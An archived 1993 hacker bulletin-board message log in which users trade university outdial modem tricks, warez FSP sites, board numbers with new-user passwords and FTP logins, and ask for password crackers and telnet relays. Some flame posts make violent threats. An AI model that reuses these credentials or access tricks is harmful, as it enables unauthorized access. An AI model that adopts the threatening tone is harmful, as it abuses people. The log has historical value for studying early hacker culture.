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Date: Fri Apr 30 01:01:07 1993
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tom, cis refers to computer information science, the outdials are not
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related to compuserve. The gate.cis.pitt.edu outdial is run by university
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of pittsburgh.
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mohawk
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From tboe@yabbs Fri Apr 30 02:56:51 1993
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From: tboe@yabbs
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To: jasonlee@yabbs
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Subject: re: jhu outdial
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Date: Fri Apr 30 02:56:51 1993
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> num: [225] to: [all] from: [jasonlee] time: [Fri Apr 30 00:30:21 1993]
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> title: [jhu outdial] length: [148 bytes]
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> ----
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> The jhu outdial is in 410, and a local bbs is at 539-2261.
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> AT commands must be given in CAPS, however. Good luck on getting it to
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> work.
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ok, I tried it, and this is the result:
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> LANTRONIX ETS-16 Terminal Server Version 2.1/25(910802)
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>
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> Type HELP at the 'Local>' prompt for assistance.
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> Username> tmp
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>
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> %Info: Connecting to local service DIAL.
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>
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> DIAL: ATDT539-2261
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> WRONG ADDRESS
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> DIAL: ATDT 539-2261
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> WRONG ADDRESS
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what did I do wrong ?
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|
ÿ
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From hmaster@yabbs Fri Apr 30 20:08:46 1993
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|
From: hmaster@yabbs
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|
To: tom@yabbs
|
|
Subject: re: Outdials
|
|
Date: Fri Apr 30 20:08:46 1993
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|
You shouls try to enter a melfunction loop on the terminal you logon to
|
|
and then it might drop you into the main terminal.
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|
|
|
Hmaster
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From hiro@yabbs Sat May 1 01:46:52 1993
|
|
From: hiro@yabbs
|
|
To: all@yabbs
|
|
Subject: FSP
|
|
Date: Sat May 1 01:46:52 1993
|
|
|
|
FSP is currently on wuarchive.wustl.edu, in the /pub directory. Get
|
|
fsp.client.tar or whatever it is.
|
|
It compiles no problem on a Sun. The one gripe I have with it is that
|
|
it is slower than treacle in January, but I suppose that is because it
|
|
uses less bandwidth so the sites are less likely to get busted. That does
|
|
no, however, explain why the damn things are down so often.
|
|
The thing is it's not quite as hand-holding as FTP. You tell it to
|
|
connect, but you're not sure if it's connected or not, because the connect
|
|
command simply tells your machine where to send all subsequent
|
|
instructions. So you apparently connect instantaneously, but to do a
|
|
simple ls might take until the entropy death of the universe. Kind of
|
|
uncool until you see what kind of sick shit is out there.
|
|
|
|
From deprogra@yabbs Sat May 1 03:06:01 1993
|
|
From: deprogra@yabbs
|
|
To: tboe@yabbs
|
|
Subject: re: jhu outdial
|
|
Date: Sat May 1 03:06:01 1993
|
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|
|
Maybe it doesn't want the atdt.
|
|
|
|
From stone@yabbs Sat May 1 17:23:42 1993
|
|
From: stone@yabbs
|
|
To: mohawk@yabbs
|
|
Subject: Stone
|
|
Date: Sat May 1 17:23:42 1993
|
|
|
|
MoHawk,
|
|
Stone here,
|
|
I finally got this to work. U ever all the Hell Pit BBS yet?
|
|
I sent a few files to the Magnetic Page a few days ago. Anyone
|
|
know a good place to d/l the latest PGP??
|
|
Stone L8tr
|
|
|
|
From hawkwind@yabbs Sun May 2 16:14:27 1993
|
|
From: hawkwind@yabbs
|
|
To: all@yabbs
|
|
Subject: Summer places...
|
|
Date: Sun May 2 16:14:27 1993
|
|
|
|
So now that it looks like yabbs is going down, where can everyone
|
|
be found over the summer??
|
|
d-dials aren't always the easiest to reach from Europe.... :-)
|
|
Cheers,
|
|
Hawkwind.
|
|
|
|
From mohawk@yabbs Sun May 2 18:47:47 1993
|
|
From: mohawk@yabbs
|
|
To: all@yabbs
|
|
Subject: pgp
|
|
Date: Sun May 2 18:47:47 1993
|
|
|
|
You can ftp it from ftp.uu.net
|
|
mohawk
|
|
mohawk@santafe.edu
|
|
|
|
From vapor@yabbs Sun May 2 20:19:09 1993
|
|
From: vapor@yabbs
|
|
To: invalid@yabbs
|
|
Subject: re: dialout
|
|
Date: Sun May 2 20:19:09 1993
|
|
|
|
where can I get 40hex??
|
|
|
|
From stone@yabbs Sun May 2 21:17:12 1993
|
|
From: stone@yabbs
|
|
To: mohawk@yabbs
|
|
Subject: re: pgp
|
|
Date: Sun May 2 21:17:12 1993
|
|
|
|
Mohawk,
|
|
u know where I can pick up the shell for PGP?
|
|
|
|
Stone
|
|
|
|
From mohawk@yabbs Mon May 3 10:46:04 1993
|
|
From: mohawk@yabbs
|
|
To: vapor@yabbs
|
|
Subject: 40hex
|
|
Date: Mon May 3 10:46:04 1993
|
|
|
|
I think illumina's board has it, he has his board # and NUP in his info
|
|
file here. If you want to wait before calling l/d, I can check and tell
|
|
you by tomorrow.
|
|
mohawk
|
|
mohawk@santafe.edu
|
|
|
|
From jasonlee@yabbs Mon May 3 16:01:36 1993
|
|
From: jasonlee@yabbs
|
|
To: all@yabbs
|
|
Subject: re: jhu outdial
|
|
Date: Mon May 3 16:01:36 1993
|
|
|
|
Ah, for the jhu outdial, you must type 'decnet' at the DIAL: prompt.
|
|
From there, type 'c jhupout' or 'c cemod1' and try really hard to get the
|
|
thing to work!
|
|
|
|
Try 539-2261 if you succeed.
|
|
|
|
JasonLee
|
|
|
|
From zaphyr@yabbs Mon May 3 20:50:46 1993
|
|
From: zaphyr@yabbs
|
|
To: all@yabbs
|
|
Subject: re: FSP
|
|
Date: Mon May 3 20:50:46 1993
|
|
|
|
Greetings all.
|
|
I am new user to your bbs.
|
|
I was referred here to help answer questions about FSP and Outdial.
|
|
Is FSP like FTP?
|
|
Please comeone can email a sitelist to below address?
|
|
What is Outdial?
|
|
Thank you
|
|
Zaphyr
|
|
zaphyr@santafe.edu (the bbs one)
|
|
|
|
|
|
From mephisto@yabbs Tue May 4 09:32:26 1993
|
|
From: mephisto@yabbs
|
|
To: all@yabbs
|
|
Subject: FSP
|
|
Date: Tue May 4 09:32:26 1993
|
|
|
|
How do I compile FSP with AIX on a RS/6000?ÿ
|
|
|
|
From tau@yabbs Wed May 5 12:46:42 1993
|
|
From: tau@yabbs
|
|
To: hawkwind@yabbs
|
|
Subject: re: Summer places...
|
|
Date: Wed May 5 12:46:42 1993
|
|
|
|
Hi. im on daimi all the summer but you might find me anywhere on the
|
|
internet. So if you want to talk, please mail. or finger me, if you
|
|
want an online talk conecton. (finger u920400@daimi.aau.dk), or mail
|
|
tau@daimi.aau.dk.
|
|
|
|
se you later!
|
|
|
|
\tauÿ
|
|
|
|
From vapor@yabbs Thu May 6 00:35:58 1993
|
|
From: vapor@yabbs
|
|
To: mohawk@yabbs
|
|
Subject: re: 40hex
|
|
Date: Thu May 6 00:35:58 1993
|
|
|
|
ok, but my email is down right now..
|
|
|
|
ajohnson@milo.nodak.edu (may not work, try it)
|
|
gmorehou@sendit.nodak.edu (nother hack account, same story)
|
|
|
|
|
|
From vapor@yabbs Thu May 6 17:17:50 1993
|
|
From: vapor@yabbs
|
|
To: all@yabbs
|
|
Subject: mail
|
|
Date: Thu May 6 17:17:50 1993
|
|
|
|
Alright, anyone trying to send me mail, ajohnson doesnt work,
|
|
and gmorehou is down but you can send mail, I will just get it
|
|
a few days late
|
|
|
|
From kamakize@yabbs Thu May 6 19:06:06 1993
|
|
From: kamakize@yabbs
|
|
To: greywolf@yabbs
|
|
Subject: the
|
|
Date: Thu May 6 19:06:06 1993
|
|
|
|
the 703 vtcbx is only to on cmapus systems which go down May 8th (grad
|
|
ect..) but cbx is still up it USED to only call Blacksburg,Va
|
|
(703-951 253,952(?)) and the bbses were 25XXX or 22XXX or 23XXX or 24XXX
|
|
|
|
From kamakize@yabbs Thu May 6 19:07:57 1993
|
|
From: kamakize@yabbs
|
|
To: tboe@yabbs
|
|
Subject: try
|
|
Date: Thu May 6 19:07:57 1993
|
|
|
|
as on a umontreeal od which i use i have to do this for the number
|
|
99484802 that is all.. no ATDT for Dial: its like a simpe term has atdt
|
|
ready to go. first try it without the nine then withg the 9
|
|
have a nice day
|
|
|
|
From kamakize@yabbs Thu May 6 19:10:25 1993
|
|
From: kamakize@yabbs
|
|
To: kamakize@yabbs
|
|
Subject: re: try
|
|
Date: Thu May 6 19:10:25 1993
|
|
|
|
ok.. for those to e-mail me this is a legal address
|
|
kamakize@delphi.com
|
|
i can send you info on internet if you e-mail me there!
|
|
|
|
|
|
From wonko@yabbs Thu May 6 19:25:40 1993
|
|
From: wonko@yabbs
|
|
To: mohawk@yabbs
|
|
Subject: re: 40hex
|
|
Date: Thu May 6 19:25:40 1993
|
|
|
|
In message 40hex, mohawk said:
|
|
> I think illumina's board has it, he has his board # and NUP in his info
|
|
> file here. If you want to wait before calling l/d, I can check and tell
|
|
> you by tomorrow.
|
|
> mohawk
|
|
> mohawk@santafe.edu
|
|
|
|
his HD crashed recently, so if you look for the file and it says it's
|
|
there but it really isn't send me mail and i will have it put online.
|
|
|
|
Wonko the Sane
|
|
wonko@fubar.bk.psu.edu
|
|
|
|
ÿ
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|
|
From pat@yabbs Fri May 7 14:07:01 1993
|
|
From: pat@yabbs
|
|
To: all@yabbs
|
|
Subject: re: 703 dialout
|
|
Date: Fri May 7 14:07:01 1993
|
|
|
|
You might also be interested in 386BSD or Linux... both of which are
|
|
full implementations of UNIX. And absolutely free!
|
|
|
|
BTW, yabbs will compile with no errors on 386BSD.
|
|
|
|
pat@tstc.edu
|
|
|
|
From htoaster@yabbs Fri May 7 21:32:39 1993
|
|
From: htoaster@yabbs
|
|
To: pat@yabbs
|
|
Subject: re: 703 dialout
|
|
Date: Fri May 7 21:32:39 1993
|
|
|
|
In message re: 703 dialout, pat said:
|
|
> You might also be interested in 386BSD or Linux... both of which are
|
|
> full implementations of UNIX. And absolutely free!
|
|
>
|
|
> BTW, yabbs will compile with no errors on 386BSD.
|
|
>
|
|
> pat@tstc.edu
|
|
|
|
or linux or a whole lot of other systems...
|
|
|
|
htoaster
|
|
ÿ
|
|
|
|
From stone@yabbs Sat May 8 19:24:58 1993
|
|
From: stone@yabbs
|
|
To: all@yabbs
|
|
Subject: Hackers helper
|
|
Date: Sat May 8 19:24:58 1993
|
|
|
|
Today I was on my way to Pittsburg, and I saw a store that was called
|
|
"Hackers Helper" !! :) Anyone heard of it ??? I wonder what kind of
|
|
store it is..............
|
|
Stone
|
|
|
|
|
|
From greywolf@yabbs Sun May 9 03:20:22 1993
|
|
From: greywolf@yabbs
|
|
To: all@yabbs
|
|
Subject: OUTDIALS, FSP
|
|
Date: Sun May 9 03:20:22 1993
|
|
|
|
Anybody have some outdials for europe, or GODs? And anybody else got some
|
|
fsp sites? good ones that is.
|
|
|
|
|
|
|
|
GREY WOLF
|
|
|
|
From greywolf@yabbs Sun May 9 03:21:36 1993
|
|
From: greywolf@yabbs
|
|
To: all@yabbs
|
|
Subject: santafe bbs
|
|
Date: Sun May 9 03:21:36 1993
|
|
|
|
Anybody been able to get an account there? I call it up, enter bbs, then
|
|
apply for an account.. it logs me off says to call back.. I call back, and
|
|
instead of entering bbs, I enter my new login id (that it tells me to use)
|
|
and my password, but it doesnt let me in. I've tried it at least 3 times..
|
|
anybody know what's up?
|
|
|
|
|
|
|
|
GREY WOLF
|
|
|
|
From holden@yabbs Sun May 9 14:58:33 1993
|
|
From: holden@yabbs
|
|
To: all@yabbs
|
|
Subject: scene in pitt
|
|
Date: Sun May 9 14:58:33 1993
|
|
|
|
I'm going to Pittsburg (cmu) in the fall as a freshman and have been
|
|
hacking here in Calif. all my life. How is the scene? Here in Calif.,
|
|
there are many pacbell yards who are unsuspecting, no cller ID,
|
|
possibilities of wardialing for days, etc. etc.
|
|
|
|
Also, could someone reply to this msg as to where I could get an e-mail
|
|
acct?
|
|
|
|
From htoaster@yabbs Sun May 9 22:17:17 1993
|
|
From: htoaster@yabbs
|
|
To: holden@yabbs
|
|
Subject: re: scene in pitt
|
|
Date: Sun May 9 22:17:17 1993
|
|
|
|
In message scene in pitt, holden said:
|
|
> I'm going to Pittsburg (cmu) in the fall as a freshman and have been
|
|
> hacking here in Calif. all my life. How is the scene? Here in Calif.,
|
|
> there are many pacbell yards who are unsuspecting, no cller ID,
|
|
> possibilities of wardialing for days, etc. etc.
|
|
>
|
|
> Also, could someone reply to this msg as to where I could get an e-mail
|
|
> acct?
|
|
|
|
No caller id in pittsburgh either. As for the scene, it isn't that
|
|
great...pretty small 2600 meetings, and not that much going on...As for
|
|
an account, you get one from cmu a few days before you arrive. No idea
|
|
before then...
|
|
|
|
htoaster
|
|
ÿ
|
|
|
|
From proteus@yabbs Sun May 9 23:41:32 1993
|
|
From: proteus@yabbs
|
|
To: htoaster@yabbs
|
|
Subject: re: scene in pitt
|
|
Date: Sun May 9 23:41:32 1993
|
|
|
|
you could always go and buy an account from some cheap place...
|
|
i think telerama is offering accounts in pittsburgh for 30 bucks a
|
|
month...and that includes infinite usage. i could look around for the
|
|
number if you're really interested in an account..
|
|
|
|
oh well....
|
|
|
|
---proteus
|
|
|
|
From zyklon-b@yabbs Sun May 9 23:55:41 1993
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From: zyklon-b@yabbs
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To: binkley@yabbs
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Subject: 40hex
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Date: Sun May 9 23:55:41 1993
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Try Ripco ][ or RuneStone...
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From zyklon-b@yabbs Sun May 9 23:57:41 1993
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From: zyklon-b@yabbs
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To: binkley@yabbs
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Subject: Forum-BBS
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Date: Sun May 9 23:57:41 1993
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I haven't seen any of the Forum-clone BBS software at any sites...
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However, do call [BoSS] at 1.304.697.6131 and mention ZyKLoN-b (and that I
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mailed you on YABBS) and you'll get access -- there's a really good
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selection of BBS softwares available...
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From holden@yabbs Mon May 10 00:00:06 1993
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From: holden@yabbs
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To: proteus@yabbs
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Subject: re: scene in pitt
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Date: Mon May 10 00:00:06 1993
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don't worry 'bout it.. I need an anonymous acct.
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From proteus@yabbs Mon May 10 00:35:23 1993
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From: proteus@yabbs
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To: holden@yabbs
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Subject: re: scene in pitt
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Date: Mon May 10 00:35:23 1993
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okay...well, vitroth was offering anonymous acct's earlier this year
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(which meant you could go thru an annex dialup) but he stopped for some
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reason or other...
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---proteus
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From rdx@yabbs Mon May 10 18:58:36 1993
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From: rdx@yabbs
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To: all@yabbs
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Subject: dialout.ucsd.edu
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Date: Mon May 10 18:58:36 1993
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Can anyone tell me about hout to use dialout.ucsd.edu when i connect it
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just hang there till the connection is timed out?
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From vitroth@yabbs Mon May 10 23:18:03 1993
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From: vitroth@yabbs
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To: proteus@yabbs
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Subject: re: scene in pitt
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Date: Mon May 10 23:18:03 1993
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In message re: scene in pitt, proteus said:
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> okay...well, vitroth was offering anonymous acct's earlier this year
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> (which meant you could go thru an annex dialup) but he stopped for some
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> reason or other...
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>
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> ---proteus
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when I get back from vacation this fall I plan to again offer accounts...
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I will however require some sort of verifiable name/way to contact you.
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these however will NOT be given out, unless you are caught doing
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something illegal.
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the reasoning behind this lies in why I shut down this semester.
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hacking... both into the system and out of...
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first off, hacking into a free system is stupid!! where's the point??
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second hacking from a sight where the sysadmin is being kind enough to
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give you free access is ALSO dumb...
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So, to repeat... I will again be offering accounts in the fall. I will
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require some sort of ID. I will allow users to do whatever they want on
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the system (within reason) as long as it doesn't get ME, CMU, or the user
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in trouble, or have the POTENTIAL to do so...
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Also in the fall I will most likely be running a copy of yabbs on the
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machine. but we'll see about that...
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Also note that I am running basically a beta OS (linux)... thus problems
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seem to be frequent... hopefully the tcpip bugs will be fixed by the
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fall.
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I'll be leaving for home in two days, and probably won't stop by here
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before then... My email for the summer will be vitroth+@cmu.edu
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(forwarded to my home town)... Enjoy the summer... see you in the
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fall.
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-Vit...
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ÿ
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From ziplock@yabbs Tue May 11 10:56:54 1993
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From: ziplock@yabbs
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To: zyklon-b@yabbs
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Subject: re: Forum-BBS
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Date: Tue May 11 10:56:54 1993
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In message Forum-BBS, zyklon-b said:
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> I haven't seen any of the Forum-clone BBS software at any sites...
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> However, do call [BoSS] at 1.304.697.6131 and mention ZyKLoN-b (and that I
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> mailed you on YABBS) and you'll get access -- there's a really good
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> selection of BBS softwares available...
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you can look around in /pub/BBS-software on uglymouse.css.itd.umich.edu
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(141.211.182.53). I can't remember if I have forum hacks in there or not.
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Haven't looked in a while. If you have stuff that I'm missing, dump it in
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/incoming.ÿ
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From pegasus@yabbs Tue May 11 12:49:00 1993
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From: pegasus@yabbs
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To: all@yabbs
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Subject: FSP
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Date: Tue May 11 12:49:00 1993
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Hi!
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Just want you to know that someone (a guy from germany) has posted the
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fsplist.041993 to the newsgroup alt.comp.fsp In the article the address to
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severeal warez sites were included, so I don't think you can expect these
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sites to live for to long.
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Pegasus
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From holden@yabbs Tue May 11 19:10:12 1993
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From: holden@yabbs
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To: vitroth@yabbs
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Subject: re: scene in pitt
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Date: Tue May 11 19:10:12 1993
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I don't need to spunge any account. Finally got a generic email
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address..
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Umm.. People were hacking INTO your system? They triying to get
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shell or something?
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What about cmu getting pissed off? I mean, you pay a good $25k/year
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to go to the fucking school. They provide you with ethernet connections,
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true, but you should be allowed to do what ever you want. Do they
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impose any shit like say "we can shut your access whenever we want,"etc
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Starting fall I'll be paying 25k/year at cmu as a frosh and I better be
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allowed to set my ibm up with linux and run a chat system for all my
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friends.
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ÿ
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From nivek@yabbs Wed May 12 10:13:52 1993
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From: nivek@yabbs
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To: all@yabbs
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Subject: Crakers an d scanners
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Date: Wed May 12 10:13:52 1993
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Hi! I need a cracker for the macintosh chooser extenstion, that will find
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username and password...also interested in scanner progs...where can I
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find some (good sites, etc) THis isn't for anything illegal:) I just
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want the warez
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Peace, love and anarchy, Nivek
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From comrade@yabbs Sun Aug 15 01:01:10 1993
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From: comrade@yabbs
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To: all@yabbs
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Subject: AWA
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Date: Sun Aug 15 01:01:10 1993
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Join Us
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Join Us
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Join Us
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AWA - Anti Warez Association
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We kick Ass
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Find out for yourself....
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ftp etext.archive.umich.edu - /pub/Zines/AWA
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Start from issue three and read back to two and one. Youll enjoy it more
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that way... Warez suck man.
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We need your feedback we need your submissions.
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Jason Farnon
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comrade@gnu.ai.mit.edu
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From fatdog@yabbs Wed Aug 18 08:18:49 1993
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From: fatdog@yabbs
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To: greywolf@yabbs
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Subject: re: OUTDIALS, FSP
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Date: Wed Aug 18 08:18:49 1993
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>Anybody have some outdials for europe, or GODs? And anybody
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>else got some fsp sites? good ones that is.
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>
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>GREY WOLF
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mail some my way if u can...
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much appreciated, FaTDoG..
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From galaxie@yabbs Wed Aug 18 11:38:52 1993
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From: galaxie@yabbs
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To: all@yabbs
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Subject: fsp sites..
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Date: Wed Aug 18 11:38:52 1993
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After a long summer, all the fsp sits inthe world go sour (go figure)
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Anyone out there have any sort of listing for this weeks fsp sites.
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I can not offer to trade any with you right now, but will be able
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to probably in the future once I get my feet back in the net.
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Email preferred...mondays@bsu-cs.bsu.edu
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ÿ
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From neuroph@yabbs Wed Aug 18 17:23:43 1993
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From: neuroph@yabbs
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To: comrade@yabbs
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Subject: re: AWA
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Date: Wed Aug 18 17:23:43 1993
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Fuck you man. The AWA sucks shit. (note to all vengeful warez.lovers,
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someone from the same site as this pleb posted that huge Warez site list
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to alt.security, even tho half of it was bullshit, they still must die!)
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Death to you.
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From gaunt@yabbs Thu Aug 19 03:55:58 1993
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From: gaunt@yabbs
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To: all@yabbs
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Subject: Relays
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Date: Thu Aug 19 03:55:58 1993
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Does anyone know of a site that offers telnet or ftp relay
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facilities? I know about a couple of terminal servers you
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can bounce off of, and I'm willing to trade these for some
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new sites.
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You can catch me at aa1@st-and.ac.uk if you want to take
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it to email.
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Gaunt.
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ÿ
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From comrade@yabbs Thu Aug 19 16:44:19 1993
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From: comrade@yabbs
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To: octal@yabbs
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Subject: re: AWA
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Date: Thu Aug 19 16:44:19 1993
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Thanks for the AWA support. Write something man.... You know where to
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reach us.
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From iceman@yabbs Thu Aug 19 18:48:12 1993
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From: iceman@yabbs
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To: pegasus@yabbs
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Subject: re: FSP
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Date: Thu Aug 19 18:48:12 1993
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Re: Posting of FSP warez sites
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Good, I hope they all die, along with the meatheads who use them.
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iceman
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iceman@silicon.bison.mb.ca
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From nerve@yabbs Thu Aug 19 23:15:29 1993
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From: nerve@yabbs
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To: all@yabbs
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|
Subject: ...
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Date: Thu Aug 19 23:15:29 1993
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|
Call Ionic Destruction at 215/722-0570, NUP=ROOM 246. Mention
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that you got the number from here and you will get immediate
|
|
access. Best HPA board in PA, no warez, text based. Good users..
|
|
nuf said...
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Optik Nerve
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From maestro@yabbs Sat Aug 21 19:10:53 1993
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From: maestro@yabbs
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|
To: all@yabbs
|
|
Subject: 604
|
|
Date: Sat Aug 21 19:10:53 1993
|
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|
|
The 604 Scene is pretty wild now, its in British Columbia BC, Theres quite
|
|
a few good BBS's out there, worth checking out....
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|
The Sanitarium BBS! 604-272-5980
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|
|
Great Discussion, and Great Files..
|
|
|
|
To the sysop here, how would i go about uploading onto here, i can upload
|
|
alot my groups text files 'Sighkadelickz EMAG' we're only interested in
|
|
hacking, and electronics projects and stuff so we've had no complaints so
|
|
far....
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|
See ya!
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|
|
~ ThE MaEsTrO ~
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From htoaster@yabbs Sun Aug 22 00:26:01 1993
|
|
From: htoaster@yabbs
|
|
To: maestro@yabbs
|
|
Subject: re: 604
|
|
Date: Sun Aug 22 00:26:01 1993
|
|
|
|
In message 604, maestro said:
|
|
> To the sysop here, how would i go about uploading onto here, i can upload
|
|
> alot my groups text files 'Sighkadelickz EMAG' we're only interested in
|
|
> hacking, and electronics projects and stuff so we've had no complaints so
|
|
> far....
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ftp to this machine, log in as ftp, and dump it in /incoming.
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|
alex
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ÿ
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From noc@yabbs Sun Aug 22 04:25:16 1993
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From: noc@yabbs
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|
To: all@yabbs
|
|
Subject: sanctuary.
|
|
Date: Sun Aug 22 04:25:16 1993
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|
|
When will scantuary be back up???
|
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From valgamon@yabbs Sun Aug 22 17:14:40 1993
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From: valgamon@yabbs
|
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To: all@yabbs
|
|
Subject: PGP
|
|
Date: Sun Aug 22 17:14:40 1993
|
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|
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I need some serious help using PGP. it seems to be the big craze lately,
|
|
but I don't have a clue how to use it. can anyone help?
|
|
ÿ
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From valgamon@yabbs Sun Aug 22 17:16:35 1993
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From: valgamon@yabbs
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To: all@yabbs
|
|
Subject: new H/P/A ftp site
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Date: Sun Aug 22 17:16:35 1993
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cc.nsysu.edu.tw
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login: UFi
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pw: UFi_ftp
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dir: /ufi/
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please contribute, we're just starting out.
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-Lord Valgamon
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slt2r@cache.declab.usu.edu
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ÿ
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From griton@yabbs Mon Aug 23 00:10:34 1993
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From: griton@yabbs
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To: all@yabbs
|
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Subject: C00l h/p , music pc board!
|
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Date: Mon Aug 23 00:10:34 1993
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Call to...
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Scream! BBS
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+54.[0]1.72.6305
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24-8 east time.
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h/p, Pc Music, Cracks, VGA Stuff, friends....
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To C00l Axes:
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name: INTER
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pw: NET
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Your sysop...
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El Griton
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From griton@yabbs Mon Aug 23 00:12:55 1993
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From: griton@yabbs
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To: all@yabbs
|
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Subject: Member Wanted!
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Date: Mon Aug 23 00:12:55 1993
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A new h/p international group is boring....
|
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WANTED MEMBERS...
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we need:
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.Pc/Amiga
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.14.4
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.x25,bbox,inet axes
|
|
.girl (or boy)
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|
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if u think you are in the rulez... mail me...
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El Griton
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From griton@yabbs Mon Aug 23 00:15:05 1993
|
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From: griton@yabbs
|
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To: htoaster@yabbs
|
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Subject: Yo! sysop.
|
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Date: Mon Aug 23 00:15:05 1993
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nice bbs :)
|
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congratulations.. :)
|
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if u need anything... say me
|
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(a ni, axes, any...:)
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bye.
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El Griton
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From karlm@yabbs Thu Aug 26 12:45:03 1993
|
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From: karlm@yabbs
|
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To: valgamon@yabbs
|
|
Subject: re: new H/P/A ftp site
|
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Date: Thu Aug 26 12:45:03 1993
|
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Please post or email me the right password
|
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UFi_ftp doesn't work.
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KarlM
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From comrade@yabbs Thu Aug 26 13:03:41 1993
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From: comrade@yabbs
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To: maestro@yabbs
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Subject: re: 604
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Date: Thu Aug 26 13:03:41 1993
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617-599-7154
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textfiles
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data only
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From thedev@yabbs Thu Aug 26 13:51:09 1993
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From: thedev@yabbs
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To: hankster@yabbs
|
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Subject: re: 703 dialout
|
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Date: Thu Aug 26 13:51:09 1993
|
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|
|
You can't telnet to VaTech? try telneting to vtcbx.cc.vt.edu
|
|
(128.173.16.6). It's a 7-bit connection, but you can connect
|
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to all on campus bbs's and all the tech hosts through vttelnet.
|
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|
TheDev
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From iceman@yabbs Sun Aug 29 13:18:08 1993
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From: iceman@yabbs
|
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To: all@yabbs
|
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Subject: Add
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Date: Sun Aug 29 13:18:08 1993
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][-o-]-[-o-]-[-o-]-[-o-]-[-o-]-[-o-]-[-o-]-[-o-]-[-o-]-[-o-]-[-o-]-[-o-][
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Silicon Valley
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Home of Freedom 2o4.669.7983 Northern Phun Co
|
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cDc Global Domination 1 N0de, 24oo 0nLY! Dist. Site
|
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Factury Direct Outlet 2 3l33t for U!
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|
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S00per 3l33t UUCP Mail (silicon.bison.mb.ca), Running 0n a 486DX2-66
|
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und3r D0S! (we're t00 c00l to multitask). N0 k0dez, war3z, ansi.
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**** Thousands of the m0st ult1mat3-sp1ffy-krad3st Tf1l3s ar0und! ****
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Freedom,Phrack,cDc,PHUN,LoD, Cud,NSA,ATI,NIA,ANE,Chaos,uXu,AOTD,Chalisti,
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CERT,CIAC,DDN,LOL,40HEX,Informatik, NFX,FBI,NuKE,Phantasy,Worldview,NARC,
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PPP, Telecom Archives,EFF, DFP,Legal Papers, CPI, Vindicator Productions,
|
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Virii,Source C0de,Scanners,Hackers,Cell Fraud,AWA,UN*X Security/Crackers,
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Anarkey,ArcV,Trident, Phalcon/Skism, Summercon GIFs,RL,RDT,Syndicate,UPI,
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Encryption,PGP,Networking, Radio Modifications,Virus S0urce,USEnet,Email.
|
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The latest news in the hp and telecom community!
|
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For questions, mail iceman@silicon.bison.mb.ca
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][-o-]-[-o-]-[-o-]-[-o-]-[-o-]-[-o-]-[-o-]-[-o-]-[-o-]-[-o-]-[-o-]-[-o-][
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From griton@yabbs Sun Aug 29 14:46:09 1993
|
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From: griton@yabbs
|
|
To: iceman@yabbs
|
|
Subject: Yo.
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Date: Sun Aug 29 14:46:09 1993
|
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Yo.. mna!
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are u a sysop of thisboard?
|
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ehhhh?
|
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see ya i the board?
|
|
call to scream..
|
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see last msg..
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El Griton/WL
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w3/s
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From iceman@yabbs Mon Aug 30 07:56:26 1993
|
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From: iceman@yabbs
|
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To: griton@yabbs
|
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Subject: re: Yo.
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Date: Mon Aug 30 07:56:26 1993
|
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Yes i'm the sysop, if you like, call and apply. No prob.
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|
iceman
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iceman@silicon.bison.mb.ca
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From comrade@yabbs Mon Aug 30 11:43:43 1993
|
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From: comrade@yabbs
|
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To: iceman@yabbs
|
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Subject: re: Add
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Date: Mon Aug 30 11:43:43 1993
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AWA. Your board is bound to kick ass :)
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From greywolf@yabbs Tue Aug 31 02:18:39 1993
|
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From: greywolf@yabbs
|
|
To: all@yabbs
|
|
Subject: HELP!
|
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Date: Tue Aug 31 02:18:39 1993
|
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|
|
I need help bad!! Over the summer I lost my access and when I came back..
|
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Al of my contacts/sites are GONE!! I'm in dire need of any hack info
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(code wise especially) that's out there that you can spare.. especially
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ODs (preferabbly GODs), hack bbs (like this one) and (ya, I lamed a bit)
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Warez sites.. This is QUITE important as this is the ONLY hack related
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site on the Net that I'm on.. and.. well..that makes me feel a little..
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grimmy :)
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So anyone who posts/mails me here I will be IMMENSLEY gratified!! Thank
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you!!
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GreyWolf!
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From presiden@yabbs Tue Aug 31 14:31:06 1993
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From: presiden@yabbs
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To: all@yabbs
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Subject: Looking for portnumbers
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Date: Tue Aug 31 14:31:06 1993
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Hello,
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I have discovered a bug in a local system, so I'm now able to telnet, the
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only restriction is that i must tlenet to a site with a portnumber. So has
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anybody some numbers for me??
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Thanks in advance, you won't regret it!
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Cya!
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The President.
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P.S. Yes, indeed, I'm back!
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From Lucifer@yabbs Sun Sep 5 04:26:04 1993
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From: Lucifer@yabbs
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To: pez@yabbs
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Subject: re: scanners
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Date: Sun Sep 5 04:26:04 1993
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Have you tried the scanner in Terminate 1.0 (assuming you have a PC)???
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It looks pretty good, a bit of a bitch to get into as it acts like the
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movie Wargames and waits for you to enter your name as joshua...
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From VI@yabbs Sun Sep 5 04:32:32 1993
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From: VI@yabbs
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To: comrade@yabbs
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Subject: re: AWA
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Date: Sun Sep 5 04:32:32 1993
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GEEK!!!
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Don't you have anything better to do with your life than write up an
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entire magazine about how much you can't stand "warez?" I mean, if
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you don't like the kids who are cracking warez and distributing them,
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then why don't you just NOT PARTICIPATE?
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And you _SUPPORT_ someone who supports the SPA and net-police? Someone
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should kick your fucking teeth in and throw your nark, rat, squeeler
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friend into a barrel of 98% sulfuric acid. There is NEVER anything cool
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about a squeeler who turns in people who aren't hurting anyone.
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And for the record, I'm not a courier, cracker, pirate BBS sysop, or
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anything like that. But, I sure as hell appreciate the fact that they
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distribute useful programs.
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Aside from the people who destroy property, all people on the net and
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"cyberspace" should stick together. You wanna be "anti-warez?" Go
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apply to the SPA for a job. Or are you not over 18 yet? Loser.
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VI
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From VI@yabbs Sun Sep 5 04:45:58 1993
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From: VI@yabbs
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To: all@yabbs
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Subject: HP BBS
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Date: Sun Sep 5 04:45:58 1993
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Tardis BBS
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305.559.9059
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H/P/V/A
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The latest versions of H/P utils
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Hundreds of H/P .txt files
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300+ virii
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Active message bases
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NUP: SYSTEMX
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Tell the sysop that Cyber sent you if you expect to see more than a
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fed would have access to.
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From Artimage@yabbs Tue Sep 7 21:39:45 1993
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From: Artimage@yabbs
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To: greywolf@yabbs
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Subject: re: HP BBS
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Date: Tue Sep 7 21:39:45 1993
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Ok Grey Wolf, bbs.isca.uiowa.edu has an underground section. It is ok,
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kinda for newbies, but that can change. Meet me here or there and we'll
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talk.
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P.s. I used to be Lord Cyber on this system.
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Artimage.-
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From iceman@yabbs Wed Sep 8 15:40:26 1993
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From: iceman@yabbs
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To: comrade@yabbs
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Subject: re: Add
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Date: Wed Sep 8 15:40:26 1993
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you bet. Now Phalcon/Skism Canada!
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iceman
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iceman@silicon.bison.mb.ca
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From illumina@yabbs Sat Sep 11 22:22:57 1993
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From: illumina@yabbs
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To: all@yabbs
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Subject: <no title>
